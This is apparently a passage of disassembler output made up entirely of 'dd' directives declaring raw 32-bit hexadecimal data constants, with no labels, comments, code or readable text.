dd 0F412441Bh, 8A40C292h, 1D3E33D1h, 1E50926Bh, 64052420h
dd 0F71C5C04h, 8E7CD525h, 0DA491665h, 19FC7451h, 2BB056B5h
dd 0D558560Bh, 78D2931Bh, 6F77175Ah, 7B65C6B5h, 0E8358023h
dd 523E220Bh, 358E5F48h, 1850AC21h, 2EA42AFCh, 0B56DB2CEh
dd 71427450h, 97E7B414h, 0BA582820h, 19E1D4C5h, 56956542h
dd 0D328AEDDh, 0B792B85Eh, 0DDFE9EF2h, 1C743CA1h, 5362075h
dd 5F4E7709h, 0E9D08171h, 89A76C4Bh, 0F1C3225Dh, 0F1FB5530h
dd 2A22E904h, 52ADD6h, 62D65919h, 0E4451F2Dh, 460D5F1Eh
dd 0A00BA6C9h, 0B56E4FF6h, 420BBFF1h, 0E905E171h, 55BC6598h
dd 0CD9562C4h, 6ACA60C1h, 9F98082h, 0C0204E12h, 829670Ch
dd 0FF920122h, 0FB410882h, 5B127D2Ch, 0B292D71Eh, 0BBF08E0h
dd 0A1C648Bh, 430C8200h, 0A2B70421h, 35BD92Eh, 4CBADC88h
dd 0D1274774h, 0A64BA409h, 0F1E9C148h, 470A9D7Fh, 0DCA06193h
dd 2845BD5Fh, 0D670BB8Bh, 0F8D57253h, 47510BDDh, 8A4820D2h
dd 0FFC0E30Dh, 132928F5h, 0E0489D44h, 73146EC5h, 2A811A9Bh
dd 0B23CC8DAh, 42512D3Dh, 444EC0A8h, 5E6B3DE3h, 3B7E907Fh
dd 7F041F39h, 2E4BFE9h, 0DFCE8956h, 0B99A50C2h, 0A531CFD7h
dd 0E9E1C056h, 8F7B2EA9h
dd 741425E4h, 9068C783h, 5E63946Fh, 5AE4E939h, 0E673B2E3h
dd 0B7519F05h, 90ACACC4h, 9055A50h, 155B7693h, 23480200h
dd 14E6770h, 805D9E1h, 57CFB204h, 0F2805B03h, 0CA937013h
dd 129ECBB8h, 0BE9BF08Ch, 6F60230Bh, 27A7E18h, 470BBB2Dh
dd 2CAF21E1h, 5B582E8Fh, 3536E660h, 39428242h, 57780809h
dd 0B921D631h, 9932C546h, 196C5A58h, 0F3AA9C56h, 2F86787Fh
dd 5E737584h, 0CBFB583Ah, 0DB65845Fh, 0EE3E74EAh, 6EE78D84h
dd 4A74AE4Fh, 0F7B32CEBh, 1536DF60h, 107C5756h, 635AE9h
dd 0BA696C2Dh, 12DB053Bh, 0CA54C64Fh, 360B7EDBh, 0F114985Fh
dd 17E9E16Ah, 0F8040464h, 30B7BDDDh, 7026680Bh, 0AF6253D6h
dd 0E05A05D6h, 0DC5E3D2Dh, 0A3258844h, 211062AEh, 50A33DF6h
dd 0E6545789h, 12D99D30h, 0A358BA71h, 0B23017CBh, 0C8B0B36h
dd 8D8BA45Ch, 0EC65D14Eh, 0D834E98Fh, 8AEFC9C6h, 0FABC7635h
dd 2EDC004h, 30754D0Bh, 95B93E63h, 0F92D95E7h, 8B5BA7D6h
dd 125A02EFh, 1071C127h, 915B900h, 156E409h, 0D18082CBh
dd 972D22Ah, 1667D31Bh, 52133370h, 0C2C0EA89h, 0F0E9435Dh
dd 0BFC0AE1Eh, 38789541h, 6AEC5B04h, 3F27AFE5h, 7A846643h
dd 13545A9Fh, 5E8EAA13h, 0E9163320h, 25B31073h, 61C0D412h
dd 3899BE2h, 274AF15Dh, 428CA382h, 5F60572Ch, 34331484h
dd 58010C6Ah, 0CF331B5Fh, 37BAF9A1h, 58287058h, 0DC0CBB41h
dd 0C628B21h, 164B1763h, 0F9F8007Fh, 2941A7FBh, 0CF2CCB4Eh
dd 589F01EBh, 0ED68030Eh, 1F326E4Fh, 64C8D73Fh, 641340C5h
dd 8EE00CB5h, 5C02E92Bh, 0C146C67Dh, 272A137Ch, 7D2FD56Ch
dd 20ED248Bh, 3BFCE813h, 304151B2h, 0DF5B0226h, 95C47336h
dd 0BEACB76Ch, 8B7504E5h, 52C7C842h, 1CC04614h, 35CC09D8h
dd 0DFE0554Fh, 3E7D4A49h, 0B5E040F1h, 4C5A0D43h, 5F68D0A4h
dd 4B7B4428h, 0F61A71h, 9861AD83h, 1EDEC0Dh, 681E6541h
dd 73FB43E9h, 0F3AD4FD0h, 5D0B9005h, 0F999EB11h, 0AFF5246Dh
dd 8AC590B3h, 0D3A9ED40h, 7DF3BA01h, 317C5C31h, 0AAF963C4h
dd 0A14A3AF3h, 926C7DFEh, 0EC12D7B8h, 0A645B81Ch, 0E71CB5B7h
dd 0F0ACDBB4h, 0D0A21016h, 2ADBC280h, 0A89E1215h, 4A08EA14h
dd 0D60966FCh, 8004B51Fh, 35D7BACCh, 0AB447A60h, 7689030h
dd 610392E1h, 5BC9CE6Ah, 252AAF4h, 5F154DD5h, 5C0421C6h
dd 296D4934h, 0B4E20852h, 0D0BF7F28h, 0EF5D984Ch, 9405B229h
dd 0AA3C5F33h, 1168C580h, 67BC9623h, 4CC18E85h, 0CCF1215Eh
dd 75FE1C1h, 71C957A2h, 0B198F8D2h, 7D5B0B13h, 0FC8FEEB0h
dd 0C14F163Ah, 1D9D04EBh, 40FC1713h, 9EDED902h, 0B9C03108h
dd 0BB80903Dh, 0E40C1EDDh, 0DA528C18h, 62E2615h, 0F300DCD0h
dd 11D92503h, 87DB5FF7h, 0BC3FC75Dh, 89FE970Ch, 58391950h
dd 955BE740h, 0DD6260DCh, 0C6054999h, 0C5CFECDCh, 0F2BEEC3h
dd 5E65CDAAh, 498CA0Eh, 6E63685Ch, 4F2916D8h, 2374ABC1h
dd 68F32CBEh, 0F2BD485Fh, 0C575126Bh, 93CC4B9h, 6813604Dh
dd 6E0D3FF2h, 0C1808849h, 0CD8105EDh, 933FB612h, 0BF7F01BFh
dd 314FBD65h, 957A80Bh, 0F887CF2Dh, 0A7F10B89h, 0D180A021h
dd 996CACC9h, 86183E61h, 0C06B9744h, 0FC4CC6E0h, 0A3020CDFh
dd 0CA75C86Bh, 4368DF3Dh, 1B3239F2h, 84F7544Eh, 20F85D07h
dd 15E0E260h, 0C297B8BCh, 0D53942BCh, 0E4FD19B2h, 0C0812007h
dd 0CC133B90h, 0B4044989h, 0BA85DEFh, 7E6D68B1h, 2AE019CDh
dd 0A0387D96h, 9E1910F4h, 0FB68E111h, 0C6CE3B71h, 6858C302h
dd 71466C5Eh, 49F9799Fh, 2CCB704h, 7E3A7A68h, 6A0159DBh
dd 0A1307EB5h, 0AA09BDACh, 218B08D9h, 0ED5F05FBh, 817840AEh
dd 43354DE3h, 3AC404BDh, 52D234B8h, 0A16F98A3h, 0D167E09Fh
dd 0C78F97E2h, 7A20EE49h, 885B38B9h, 20A0555Eh, 4D169F7h
dd 0B20F3900h, 95FBAACh, 0E2E21A0Fh, 0FE46DE3Dh, 483609F5h
dd 0F4C7DE8h, 294B5306h, 0EA805FFAh, 0E2D2779h, 681489D9h
dd 267B4894h, 82083CAh, 60171CD0h, 9A0D3318h, 0A0CC01Eh
dd 0E9556524h, 0CCF41925h, 755726A9h, 4C774055h, 895E6EB3h
dd 0AAD28EA2h, 2281EEC4h, 252EA16Ah, 0C49CEF49h, 0CDA9546Dh
dd 82A7B8F0h, 0E5EA6071h, 2DC90016h, 2883079Bh, 551C829h
dd 0ACC17E07h, 3000EFEBh, 200358E7h, 0C2805BFAh, 83B6F188h
dd 92010325h, 99E8D331h, 0C392BCA5h, 7502D1A8h, 467F9DC2h
dd 513DF873h, 0A82B08EAh, 4DDD4F76h, 6B49CE41h, 68B4A03Ah
dd 6098405Eh, 193816FDh, 9419BB14h, 906B0726h, 0E349F7C1h
dd 0E2A9FE2Fh, 20AD8017h, 123E3236h, 4D5C0EE9h, 9804DA41h
dd 77A4FF80h, 0DE7625CFh, 0C1203C5Ah, 0DB5E503Eh, 96BD41EFh
dd 21BABED8h, 3F03963Fh, 978A74E3h, 4E04589h, 120BC7A9h
dd 0C5A85E18h, 18571790h, 21FCB145h, 65E26B16h, 414AC4D9h
dd 3AE427A9h, 408C8131h, 0D0410502h, 0B5F02A8Fh, 0CE3316D2h
dd 8F91AA1Eh, 203C77E9h, 0BE364132h, 2D177052h, 9AE287Ah
dd 0E46078EEh, 3A9FF021h, 4989F629h, 0BA52E200h, 0C00121Ah
dd 9BE563Ah, 0B0644349h, 20834B62h, 368B6841h, 0BF00189Fh
dd 64F183Bh, 0B0C97E29h, 2D6F92Dh, 7C1AE9DAh, 0C11D2EE9h
dd 36149168h, 7970277Ah, 88518447h, 2A09AEF9h, 50A9581Ch
dd 40869852h, 0F733805Fh, 0B10A06ADh, 0E7E461C7h, 8C12CC6Eh
dd 509F4906h, 6CA03370h, 23FFC377h, 4C1666E3h, 0D0EBB9B0h
dd 7343E9DCh, 0F5C87AE1h, 4E520B1Ah, 0A9504B54h, 89AFB9A1h
dd 1C4818BFh, 13F39011h, 0BFCD93E9h, 2D2B9D39h, 90DC6BD1h
dd 28964056h, 1DD0DE48h, 0F49D0CECh, 6364C45Dh, 306CEA1Dh
dd 715DC181h, 0F5EC348Fh, 0E259C9A0h, 0C6A1A00h, 999A0A2Eh
dd 0EAFE116h, 0DBE96C04h, 9FB8FBA0h, 2AD3AB38h, 17B5609h
dd 687BFE44h, 458170Ch, 12C28CC3h, 0FE7409EFh, 1BF1712Bh
dd 2437C5CBh, 0B34E12DEh, 0D6CA124Bh, 502A6AF7h, 0C9B0904Fh
dd 0DF815533h, 20C94831h, 5D98DD5Fh, 0BE0396BCh, 0B06559h
dd 2857C78Ah, 0F70118BFh, 8A2EFF0h, 7AA821F9h, 89A83E01h
dd 5AD72982h, 0F62CF8D5h, 56ABB092h, 9460DFECh, 2818F6A3h
dd 4E25248Dh, 0A2B5027Eh, 8EB41E0h, 2158C207h, 0ED602723h
dd 604F4A02h, 198B1853h, 6A950B06h, 0E90802A5h, 25B8D4E0h
dd 0C6689521h, 6DFB8944h, 6BAD767Fh, 0CCA83BFDh, 45BEF4BFh
dd 5E83BC41h, 9EE41CBh, 0BD0307DBh, 0C4B0FBFh, 3451D165h
dd 73C3A324h, 1CEB7BA9h, 0C25BD828h, 0CD09E9F8h, 2D487452h
dd 6B700CDh, 0A1A90235h, 64FB48Ch, 2886DDE9h, 0E340E59Dh
dd 0A24BF09Eh, 9261F2h, 6762893Ah, 6320E976h, 29519FDBh
dd 2ECD273Dh, 3B35C435h, 0DCA1B3E9h, 0BF6681DAh, 1A955822h
dd 207DA12Ch, 0FF907405h, 65699D35h, 62D7A401h, 0C12F751Ah
dd 2A4FD263h, 133A82E3h, 0C0594445h, 0E74596EAh, 9702415Bh
dd 4C530668h, 253105EBh, 1C967AE0h, 0CE81C1A2h, 24F121DCh
dd 0A9181323h, 0AA4CD873h, 1FB3E0Fh, 8147CD1Dh, 0A5E96319h
dd 0C4532CE3h, 0C141A987h, 21CE2309h, 258AF038h, 0D8919E27h
dd 315195CEh, 0D0BFCFC4h, 90685534h, 77F03909h, 6E90775Dh
dd 0F9A44CB6h, 7E389178h, 69BE5A16h, 4057EEFh, 0B4E86166h
dd 9E6EE2E7h, 2EA74655h, 80ECA492h, 1CFB366Dh, 3F8CB31h
dd 8EA7F34Dh, 40F4074Ah, 0C294B1D4h, 1CC5D1AAh, 0BDC60423h
dd 0FC3EE126h, 0F1E9E0C5h
dd 8F3A95F3h, 0DFE2B40h, 480E2506h, 0BD0DF935h, 10F42989h
dd 0BBAA043h, 575E5D78h, 0CB69FC06h, 8702C018h, 82B1A063h
dd 343D28F9h, 0A9883B83h, 4A7F72DCh, 0CB51A25Eh, 40596094h
dd 3088B80Dh, 0EF962C41h, 0BF406FF4h, 0D5812FE9h, 0B309835Bh
dd 88D3710Dh, 0BB00ED27h, 0BACC1379h, 59CB2529h, 8E6C9F2h
dd 7CEB014Ah, 0BC0B0DC8h, 5632EC43h, 860A0BFEh, 5797B553h
dd 0E08500BFh, 0E96C8316h, 0B1A2125Fh, 5ACF7107h, 5B24B2B5h
dd 0D137AEDAh, 12313450h, 8E683E5Eh, 1E396DFh, 0ED138DB7h
dd 6A0C827Dh, 0D6A6A2AFh, 44490D9Eh, 9FEAF84Bh, 57472D09h
dd 2C31DC59h, 24FF0973h, 0AFBC2C51h, 743D8955h, 0CDA788B8h
dd 13D6B914h, 7BE862BFh, 0EE33BF4Ah, 680B179Bh, 0DE34B884h
dd 0BD96D404h, 8FBB5681h, 0FB8987Eh, 6F5D3E60h, 9E4F294Ch
dd 0CEF18135h, 2B0D9458h, 1DD2DEE0h, 5643AC37h, 0F9C2876Bh
dd 9E08D85Bh, 72F18250h, 3CE0E049h, 0E8931C2Bh, 6580ED97h
dd 3D068EBFh, 0DA2D44ABh, 0DBD148C2h, 0C25A6889h, 4CBEF52Eh
dd 4769E979h, 0FDD2402Bh, 9BA54C50h, 296F1317h, 0C865EC5Fh
dd 2094C69Dh, 0B900D3E8h, 22885DA4h, 0CC91D9F7h, 5F9AFDF8h
dd 92C5585Bh, 12445080h, 0E9E80C5Ch, 0EA6108BEh, 0FACDDC1Fh
dd 0BFF4907Dh, 2D02916h, 158C3CDh, 0A76C5661h, 169D666Bh
dd 5470314h, 122DE8AFh, 53420B07h, 0F749787Bh, 0CEBED045h
dd 0B89D5481h, 581B8AFh, 0E51F5B41h, 5B803F31h, 730815C5h
dd 0BC295EA5h, 40084153h, 6A6FCD55h, 1A68B737h, 7FBDFF60h
dd 0B3F0C421h, 0B0F540D7h, 0BF9F16EFh, 0D3BC60C9h, 1AB97403h
dd 0D27B9E31h, 16A2F4E1h, 854EA2ACh, 0C5EA53B1h, 50D903EAh
dd 0CF93FC88h, 579ABB1h, 32E0C7BEh, 185507E0h, 0B7840516h
dd 992434E6h, 1ACE1554h, 0D0F3626Bh, 0F694B549h, 3E9A2DFCh
dd 7B72789Dh, 167A1056h, 0FD290301h, 24DEE9h, 2BCAF1EFh
dd 0CF316021h, 25AD595Ch, 32EF0F6Ah, 8701C813h, 87CB84DDh
dd 2C0B83Fh, 522D95EDh, 14517E57h, 0B84808C5h, 655D393Ch
dd 3723F124h, 6DC04958h, 0E91271F2h, 0D4BEC4D9h, 0DFDC2D2h
dd 62B0A376h, 0FFD6852h, 5A76AD46h, 0ED8780E4h, 70CC93B2h
dd 4CAD2568h, 6680809Ah, 10834D96h, 41C98102h, 7E59B270h
dd 822C846Fh, 9C67C64Ch, 73248C94h, 3C1DC402h, 84BDC2Dh
dd 0B9016293h, 48822E75h, 823AFC20h, 0E4E18EC1h, 1EB853ECh
dd 0E0277D09h, 5952565Eh, 68FDC01Ah, 70E9490Ch, 0A40B586h
dd 5F65B80Eh, 52E00FD3h, 1E2D5800h, 21758302h, 3C038AB8h
dd 4C262507h, 24F1A73Bh, 0D820C522h, 946812CDh, 326082Ah
dd 12440616h, 5C05A281h, 84B61651h, 0DEE6BA39h, 1EB0AB50h
dd 2EC12806h, 0ACA30CE7h, 0D295919Dh, 0A6472082h, 0D7F54ABFh
dd 0A1687CE8h, 3A09DBB9h, 259661Eh, 44145098h, 5327429h
dd 3EE05E0Ch, 48220D6Bh, 0E90E2952h, 530A522Ch, 3080E3A0h
dd 0D69823B7h, 6DE3A118h, 0B4F65096h, 6B4873B6h, 0A0288BA0h
dd 0C6EE8156h, 4F1B1241h, 0D26AEC5Bh, 0EB80CD41h, 0CE61305Fh
dd 0EC6BC3CDh, 88FAA44Ah, 88ECEE05h, 6E5F0A4Fh, 4D87BF41h
dd 0BF7063FDh, 0ACE6B315h, 0AFC00857h, 0F5E9511Ah, 19F47129h
dd 4E7B6878h, 0A35CE841h, 2ECEE160h, 1A776730h, 80363D03h
dd 0F0A09964h, 0ED5C835Fh, 7247355h, 5207304Dh, 2D601973h
dd 75E75815h, 246CFA0Dh, 8121404Eh, 18326935h, 46B8D428h
dd 0E970C8E2h, 64EEC94Ah, 0E280BAD3h, 7A756068h, 81E5B58Dh
dd 71ADF681h, 863F4348h, 3602120Dh, 0E90AFBE5h, 8750E85Eh
dd 30D6C2CBh, 2D687E11h, 0DE262115h, 2703C56Bh, 2648785Ch
dd 94E03CAh, 5CC68599h, 0C6B4B52Dh, 4FE6F2B8h, 0B8DF24E7h
dd 78FB5ADFh, 0F16E11E0h, 80041DE6h, 3BC2C7C1h, 1536858h
dd 974B98F7h, 7B71E00h, 2A58EF80h, 0C6D92F88h, 6EE80B09h
dd 0CF80748Eh, 231966C3h, 9CE0CC0h, 2FE972F4h, 5648B50Ch
dd 11BF8396h, 0FDFD5041h, 0AB1D842Eh, 0D08F9139h, 0CC939B68h
dd 745B4FD3h, 3C6D2FD8h, 0A75D7644h, 70D6E903h, 0E1B06CABh
dd 6A120E21h, 65035643h, 0E9235ED3h, 0BA4D2BEh, 252D1003h
dd 6834B05Dh, 131BB280h, 0D0672EE9h, 3A09270Fh, 0D5013513h
dd 0C99A7CFFh, 4957B4AAh, 0A9C0D524h, 0C2309551h, 270BABF2h
dd 89092B31h, 3EB60034h, 979AA039h, 0F929D084h, 54E909C8h
dd 4F1275FCh, 6616C5Dh, 0C835A5EBh, 960B0C69h, 5D24F219h
dd 0F088728h, 0AAD4A4E9h, 0A2E188C7h, 0F3D5CB15h, 0D348A747h
dd 0C45FFE80h, 0F3F44080h, 8E405C0h, 0B8413CE9h, 111CC563h
dd 5C1CD4CBh, 9B752740h, 66D780B8h, 4F4EA5Ah, 0CCE9A12Ch
dd 0CA07ADD2h, 90248930h, 12A5E906h, 46C10421h, 0EC51BA33h
dd 8A37E8Eh, 565A25BAh, 92D552FEh, 94B8006Bh, 405D917Dh
dd 6A200105h, 45E916CAh, 0F7579E7Bh, 1B3844C2h, 8AC66047h
dd 35E0511h, 727A98E9h, 0F15F6A6Bh, 6859023Dh, 0BADD4383h
dd 31325519h, 768FD21h, 39776E16h, 4BA0162Eh, 690B9649h
dd 1747E180h, 0ECC110CEh, 48B97936h, 4C1EF64h, 0B7A6AA14h
dd 0E9771801h, 0FC50D313h, 7B377746h, 0E4B0C3FCh, 9D2DCF11h
dd 0E8EDB3A0h, 4A4A2F72h, 3AF8084h, 0B2C8E3C6h, 5BDCE954h
dd 0EA5EFE97h, 842817E3h, 0F25CF97Eh, 768958A4h, 3B72B55Ah
dd 87559495h, 37478B98h, 56164C73h, 9DFE3FCh, 5D8B59CEh
dd 0F83E12Eh, 0DE34233Ah, 0F3AE0DF3h, 40AA5A46h, 7267EE28h
dd 5F131C92h, 67B41F68h, 6BC941DEh, 2C5B314h, 2D5C3205h
dd 0A7858141h, 0DBDF4849h, 17C6C0AFh, 0EA202EE9h, 0AA688214h
dd 6B776370h, 351CC996h, 12B41B2Eh, 34402F98h, 0D4F2EAA0h
dd 0F5222C05h, 1695C8E9h, 8438F2AAh, 0CCEBDA14h, 414BAAECh
dd 473936D1h, 7851BF00h, 29BA8314h, 0E7D11F87h, 1075BC5h
dd 0A09031ADh, 40229A05h, 0FDD1B42Bh, 46AA3612h, 7D0B3A1Dh
dd 1704DEE7h, 5E07A799h, 4B84B9F8h, 43F70FB2h, 0CCE3D143h
dd 58780380h, 0C286020h, 0C1CBA9B5h, 8F5E92Dh, 4707A32Ah
dd 75B22C4h, 0E67F74ECh, 2D1FACA9h, 0CBDE4DA4h, 705E80Ah
dd 46BD5317h, 17B42E9Ch, 2223FF44h, 0FDB3B25Dh, 32E16248h
dd 0D64C7E25h, 77C20959h, 0B16F69FAh, 0B6EC4E22h, 3DE07CBAh
dd 8AB35A4Bh, 30090813h, 0B7BB537Bh, 57B46F00h, 13F3E381h
dd 0ECE3B005h, 0EBD10602h, 32BB9DE9h, 80C9FE18h, 67E1C01Ah
dd 93CF0C06h, 0C882EEF1h, 384CF255h, 3B9242BDh, 0DA360E2Fh
dd 0BB33ECE3h, 0FE0CF6C9h, 0DD9CC2D5h, 81905AEEh, 0FFF68E32h
dd 0B70352C6h, 3AF02D41h, 34F548D4h, 0D09A447Fh, 7EBF00A9h
dd 0A155C902h, 60649FC7h, 3EB7BC1h, 0E45FF381h, 0EFB02674h
dd 0D90C3622h, 5CDF2953h, 7A739C87h, 0F32689DFh, 0E95B83AAh
dd 3702E05Fh, 0C025E4F7h, 0EA824176h, 92A4F63Eh, 9AF99924h
dd 42E5184h, 0B3FACE31h, 0B0B69630h, 544AEF25h, 9F209AF0h
dd 0ED98C5F2h, 0C4DAA8A8h, 5E0F3E72h, 434D7CC6h, 4C53F500h
dd 0D368254Bh, 4B9A9764h, 46C0CD60h, 7A5CB82Dh, 76EC20F9h
dd 9616057Fh, 17B00DA8h, 0AFCA2481h, 87A62CA4h, 195A38A0h
dd 889D2D00h, 18C5D759h, 0CF82356Dh, 20785629h, 1AAC9B08h
dd 1EF56C01h, 4EE92C41h, 8275A590h, 7D736BE5h, 0F1C09B91h
dd 6059D9C8h, 0BEB4C9DBh, 3F81DEE9h, 1DD37A18h, 0C413DDF6h
dd 0EAAD1Bh, 63222DEFh
dd 429D67C7h, 0F0070970h, 0E9551771h, 0FD1A21D8h, 0FDA96E5Fh
dd 0E01F165Bh, 515015DEh, 4513FA30h, 0D5005AB4h, 0EC6924E6h
dd 0E9F31F21h, 0AAD12640h, 0C5E32063h, 62186812h, 0E9B138ABh
dd 13FD124Eh, 0BA8F726h, 672B1D5Fh, 4850347Dh, 0A001E57h
dd 534A0C6Eh, 33E01368h, 0CE01124Eh, 184927D2h, 3BB7802Fh
dd 437D223Dh, 0E62CB04h, 9F8050D6h, 0BF2416Ch, 5BDD3138h
dd 62BF61F8h, 0D7C892E2h, 5740B86Ah, 30B9BB21h, 4D2718BCh
dd 955577DFh, 5DADE6E7h, 166CEA30h, 28F199BDh, 0B407A53Ch
dd 1D7B631h, 0D85258E6h, 0EE17D06Dh, 3211D6F6h, 685603CAh
dd 0A4A221ABh, 5807A3FAh, 838D4F8Dh, 5BDE4934h, 92CEACAFh
dd 411D4709h, 0FE6D5009h, 2A1E68F1h, 560134A3h, 74458BEh
dd 8BF1E53Dh, 0A8B1E981h, 0C185A394h, 6CC008E5h, 4BAA6CE7h
dd 2E82297Eh, 12FFF834h, 0EB2DBAD7h, 40511652h, 2E666CDDh
dd 109D0AE4h, 9DE050C1h, 6815F9BAh, 0A4C156A0h, 560970ADh
dd 397C1BE9h, 6160E097h, 266783BFh, 2504AA5h, 7B3F03E6h
dd 9FC7615Dh, 80E5E87Ah, 32AD5F68h, 58E0BC30h, 0F397C177h
dd 69401FEh, 585B6356h, 51B555CDh, 5FC38169h, 2F29A1DDh
dd 0BCC253D0h, 389E261Ch, 5CE42020h, 348564F7h, 0E1CB857Ah
dd 0E9578BD6h, 0FE84E07Eh, 0F6801CC6h, 10BEFA2Fh, 0DD906A92h
dd 4ABC2E86h, 628720E4h, 554B936Fh, 0BE4717BAh, 0EEE85B5Eh
dd 0B530C70Fh, 1A02533Bh, 0A77BFBE9h, 0CB72F0E6h, 0EAFD6B33h
dd 0AF3A415Dh, 87491389h, 1A0792DEh, 0DCF98256h, 0B18A1563h
dd 0B0215E17h, 8409F33Fh, 572C430Ch, 73E360Ah, 0F9D3089Ah
dd 0F75103D5h, 0F4D205DEh, 0D4FFA22Ch, 41CABEAFh, 0E4856C41h
dd 0AB37F068h, 2CE91768h, 6F75DCC1h, 0AE89EB05h, 0A516C631h
dd 3E525D01h, 11561301h, 0C7264C44h, 0C419348h, 173ADC21h
dd 8198AFCDh, 0D0E34F7Eh, 726BFA97h, 4F4595Ch, 0A270F8Eh
dd 0D47E14ABh, 0ADE1D039h, 70AF43E9h, 8D6463AAh, 0FF82E5CBh
dd 627554BEh, 9C08A00Fh, 0A4099003h, 3FFE2778h, 705FDE18h
dd 5378B362h, 1C56157h, 4D240563h, 5A2E28E6h, 5BF4ECFEh
dd 0C3ED3CAAh, 15692C8h, 0F833F281h, 89D5D203h, 0C1D600AFh
dd 25640547h, 3655E829h, 32E91350h, 0AE3CAE49h, 305EB72Ch
dd 84D6F45Ah, 0BF461068h, 91531635h, 0EE9666B2h, 4BA9EE52h
dd 0EB3D2884h, 8D1E4E24h, 0DA96A38Bh, 446800D1h, 5833FB1Dh
dd 416B2D40h, 2507540Fh, 0CBF0FA0Ch, 7B5C5272h, 510A788Bh
dd 0AC21760Ah, 1A1D113h, 0F580282Ch, 0E414A085h, 57756812h
dd 8012F2B3h, 0EF1F352Dh, 91B76F87h, 25916FCh, 685DEE31h
dd 0C8E6282Bh, 2DF5504Ch, 0BCFB5148h, 413BF893h, 7967BB7Fh
dd 0D3623246h, 4C04921Fh, 99A14E22h, 1720EBFCh, 0C05C751h
dd 0BFB6E105h, 8370BD00h, 3DCF813Fh, 73A0228h, 91CDE947h
dd 4906AD6Ch, 14C5A2Bh, 5B7CBDFEh, 0C752199Ch, 0B4128504h
dd 820C0713h, 0B363275Ah, 9305EB11h, 8F0388EDh, 0F2EEC786h
dd 69D60BCEh, 4AFC3C31h, 468C2A04h, 0C4EDABC1h, 959A074h
dd 8005EFC0h, 0F80A548Eh, 1655CBF5h, 3C4C2206h, 6BC16120h
dd 61685259h, 961389C5h, 1B810F2Eh, 0DA60D6B9h, 9D61B72Bh
dd 66F7E24Ah, 48CD0B79h, 0EA706522h, 0BA4A260Eh, 0D802AE71h
dd 98E6D152h, 1B2F0962h, 22DDB811h, 425BD841h, 1A217D22h
dd 4021CFE9h, 93D3BC42h, 0FB0824Dh, 0E959CD89h, 9F3C66E8h
dd 952080D2h, 9F6818DAh, 0B03BDD56h, 0E2E7799Fh, 10BE2A2h
dd 0DEF67F40h, 0AE28C304h, 815AF081h, 0E9D02C06h, 0A23FC19Bh
dd 0A3398550h, 646728EFh, 828DF54Bh, 88F7956Fh, 7E408DA6h
dd 1C2A0BB8h, 820125B5h, 41496BD2h, 3AD412C2h, 0E724E58Dh
dd 611F6E70h, 0D6F4C129h, 0DF2ED962h, 9A9FCF94h, 0E0E4A99h
dd 8CD4CA2h, 0FB504895h, 4CD5B65Fh, 541818B9h, 9726E469h
dd 0E60B14DBh, 65B97FB7h, 4FCD2B52h, 249CA06Fh, 49C8924Fh
dd 3D9398D2h, 1DA72FA2h, 16DD46E2h, 17765FFEh, 53CAFF8h
dd 0E9FE0929h, 9952BAA8h, 1B6A03EEh, 2E32961Dh, 45561F6h
dd 14C12EAFh, 22ABDF5Ch, 67321E04h, 458369C3h, 7DB3EAB5h
dd 0C65074F8h, 8430E908h, 2BBD64E6h, 901E7339h, 7A100EE2h
dd 0CDC03220h, 463A6986h, 415F18C0h, 0B8520AB4h, 0E5E973FFh
dd 0A5E656ADh, 7CB8982Dh, 7F5C59B8h, 4768FA02h, 41E39A16h
dd 5E00B07Bh, 5B015D53h, 617FFE2Dh, 972E0526h, 0B87459ABh
dd 461B04BDh, 1B81545h, 0E9200741h, 0F8DE5F31h, 0CE0AA141h
dd 15C4F128h, 0D3290332h, 8EEA9D5Ah, 0C0D55005h, 18137712h
dd 9AB2DAB4h, 176818C7h, 0CAEB5F2Dh, 3297B8B4h, 0AD99D4BEh
dd 1340589Bh, 748C3AA3h, 1EB9B10h, 0BA31A468h, 6A89B15Fh
dd 77C20BE1h, 0E66F4BF9h, 51EDE59h, 105BCFBBh, 1F70AC23h
dd 0CEC95451h, 12B3722Eh, 5DC36349h, 0E1B83BCh, 0A9C2E909h
dd 77026F44h, 5B48C030h, 17FF5121h, 0A46F56B3h, 6BBA5473h
dd 8002F380h, 8899F20Fh, 494EA5D3h, 0E592FDBCh, 6C19F1DBh
dd 31661B3Eh, 0FDB0C9E6h, 0D02E2ABCh, 38C10261h, 0F0602644h
dd 0BD8021CAh, 690B3EB6h, 0B43538C8h, 9B8DBF0Dh, 0BFAF6AD4h
dd 0EA5880A4h, 0BDACBE5Dh, 0E642F04Bh, 93A20547h, 81F931D7h
dd 49463AFh, 0CB91A7BFh, 0B939805Ch, 91F3335h, 0C594E95Bh
dd 0A03C07D3h, 2D682D4Fh, 0E8065C09h, 29BD82AEh, 4127DD45h
dd 0E8D6EE58h, 2DAE5A46h, 563C02A5h, 556B68F1h, 0E90E93EDh
dd 62E2737Fh, 0E1F7660Eh, 2F7C6862h, 31737AD5h, 85B1695Ah
dd 74312B03h, 64F8501Eh, 99E91652h, 0B532AABFh, 9F59D0A6h
dd 0E917B5F8h, 5157F0C7h, 305C16EFh, 0EDB850B8h, 20CD7412h
dd 0F3408B13h, 665EFFBBh, 2C6FB473h, 2081283Eh, 8837A5A3h
dd 74953CDAh, 0C381D390h, 137A13CFh, 470E133Ah, 7256575Dh
dd 0D155BDB8h, 96C46F80h, 1082A96Fh, 0F601E092h, 0CB353D9h
dd 805BD430h, 50ACF107h, 929C888h, 0A8165F1Fh, 0BC85E917h
dd 3F6692DCh, 0F419D929h, 0E9F51D25h, 0ED7EE124h, 0E0846E1Bh
dd 44AD9BEAh, 0FBD6ACC4h, 0E9F099ECh, 9CB9E727h, 2035CA04h
dd 73F91AD5h, 596DBF03h, 220B7585h, 61ED28B1h, 6890784h
dd 0C10E5106h, 7A44CF49h, 0E076EEF1h, 3F1ACA81h, 123172B5h
dd 2CD403CDh, 80DA4AE9h, 504BA4Fh, 64229A26h, 52FCB712h
dd 4FA10A1h, 0C1C3A083h, 10868AE8h, 694F380h, 0C004D61Fh
dd 2045E549h, 0AB65C73Ch, 62149648h, 0F05D56E9h, 0EF60D2C5h
dd 0FC4FDE2Eh, 7671B24Bh, 2D72DD8h, 9A6B3FCh, 0AEA1388h
dd 0C964F64Ch, 2B0983E1h, 6CEAF484h, 0F03868BDh, 0D6B5701Dh
dd 5144D222h, 0D5FB5E25h, 0FA29B499h, 9FB59C7Dh, 5A9A2FDCh
dd 2E4457B3h, 760BFE27h, 205C58F9h, 2D626D0Ch, 0BF531701h
dd 9033A8CCh, 28504CF4h, 96810E0h, 14682E63h, 38E55F0Eh
dd 0ED11C065h, 522935FCh, 1C29236Dh, 3D19380Ah, 530D7600h
